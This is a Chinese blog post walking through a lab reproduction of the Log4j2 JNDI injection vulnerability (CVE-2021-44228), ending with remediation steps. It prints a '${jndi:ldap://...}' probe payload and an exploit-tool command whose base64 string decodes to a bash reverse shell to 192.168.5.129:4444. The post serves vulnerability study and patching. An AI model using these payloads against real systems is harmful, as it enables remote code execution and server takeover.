Log4j2远程命令执行（CVE-2021-44228）

bigdogeggs

已于 2023-05-12 10:07:10 修改

阅读量1.4k

点赞数

分类专栏：漏洞复现文章标签： log4j web安全 java jndi

于 2023-05-12 10:05:30 首次发布

本文链接：https://blog.csdn.net/qq_40646572/article/details/130635035

版权

漏洞复现专栏收录该内容

14 篇文章 2 订阅

订阅专栏

文章详细介绍了Log4j2框架中的JNDI注入漏洞，包括漏洞原理、影响范围、复现过程及如何通过特定payload利用此漏洞实现远程代码执行。此外，还提供了临时修复建议，如升级组件、设置JVM参数，并提到了相关安全防护措施。

摘要由CSDN通过智能技术生成

漏洞原理

该漏洞是由于，在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类，从而加载远程服务器上的恶意class文件在客户端本地执行，最终实现JNDI注入攻击导致远程代码执行。

漏洞影响范围

2.0 <= Apache Log4j2<= 2.14.1

漏洞复现过程

在这里插入图片描述
启动服务后，进入主页面，点击页面中的？？？链接，跳转到，目标地址。

首先使用dnslog进行测试，是否存在jndi注入的点，再ceyedns平台接收到了反馈的消息，发现此处存在jndi注入。

payload=${jndi:ldap://dnslog地址/}并将其进行url转码。

在这里插入图片描述
如果payload没有进行url编码，可能会导致后台无法解析，最好的方式就是将payload全部进行url编码。(这一块之所以需要编码，可能是环境的问题)

下面为了获取shell反弹，需要先进行bash指令base64编码。
base64转码地址:https://ares-x.com/tools/runtime-exec
在这里插入图片描述
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.5.129

在这里插入图片描述
此处我选择的是Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)的结果。

在此处可以发现，首先通过rmi远程监听，接收到远程调用后，将其转发至payload地址，调用exp。
在这里插入图片描述
成功getshell。

在这里插入图片描述

我采用的是较为简单便捷的方法进行复现，全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具，另外，还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。可以使用marshalsec-0.0.3-SNAPSHOT-all.jar进行rmi监听，使用ysoserial生成poc。

漏洞修复建议

及时升级log4j组件。
临时建议
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
在应用classpath下添加log4j2.component.properties配置文件，文件内容为 log4j2.formatMsgNoLookups=true
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
部署使用第三方防火墙产品进行安全防护。